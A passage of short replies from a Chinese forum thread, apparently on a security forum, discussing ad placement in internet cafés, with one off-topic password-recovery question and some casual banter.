网吧投广告,老板同意吗?
2024-8-6 21:50
0
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
9
我的网易邮箱只记得邮箱,其他都忘记了,怎么找回密码,感谢各位大佬帮忙!
2024-8-6 21:53
0
雪    币: 265
活跃值: (2473)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
对抗没有出路,合作才能一起发财.
2024-8-7 09:05
0
雪    币: 6394
活跃值: (2207)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
11
saloyun 对抗没有出路,合作才能一起发财.
表面合作,私下拼技术
2024-8-7 09:37
0
雪    币: 76
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
12
顽劣 很详细啊 现在网吧快成乱投放广告重灾区了 支持lz 把这些乱投的广告统统抓出来
抓你母子
2024-8-7 13:50
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
w2w
13
学习
2024-8-12 16:18
0
雪    币: 3700
活跃值: (3817)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
刚毕业工作时也搞过这些。
2024-8-15 15:10
0
雪    币: 218
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
fengyunabc 刚毕业工作时也搞过这些。[em_85]
搞这个能赚啥钱,技术人员都快没饭吃了
2024-8-26 14:54
0
游客
登录 | 注册 方可回帖
返回
//